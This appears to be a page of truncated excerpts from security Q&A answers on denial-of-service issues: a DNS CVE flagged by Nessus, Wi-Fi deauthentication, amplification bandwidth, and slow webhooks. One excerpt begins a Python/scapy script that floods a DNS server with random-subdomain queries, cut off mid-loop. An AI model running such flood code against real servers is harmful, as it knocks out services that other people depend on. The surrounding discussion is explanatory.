That's probably another Nessus false positive. The CVE lists affected products, and it does not include Microsoft DNS (or BIND, for that matter).
The CVE specifically identifies an infinite loop of comms traffic as the cause of the DoS.
You would have to monitor the IP stack on the target for abnormal CPU/RAM/network utilization in response to these ...
I finally found a working proof of concept code:
#! /usr/bin/env python
from scapy.all import *
top_level = ".ch"
domain = "192.168.1.133" # enter the DNS server IP
cnt = 10000 # enter the count of request to be send
dns_server = "192.168.1.133" # enter the same DNS server IP
for i in range(0,cnt):
s = RandString(RandNum(1,8))
s1 = s.lower()...
It's hard to say exactly what you're seeing, but this is a possible scenario:
Client sees extra network traffic and changes mode n -> g, or g-> b, etc.
De-auth packets are ignored by client as the client is now in a different mode.
See the end of the doc here: https://www.aircrack-ng.org/doku.php?id=deauthentication
It mentions the ...
If the request packet are larger than the response packets, you (as the attacker) would have been better off just sending the packets directly to the target.
It's also worth thinking about where you can find those amounts of bandwidth. If you're doing a direct (as in not reflected) attack you will need as much bandwidth in your end as you want to hit the ...
One other thing to be aware of that I haven't seen in this thread is webhook calls being purposely slow and using up threads which would be a problem for php based applications, that way you could take an application down by making very few requests.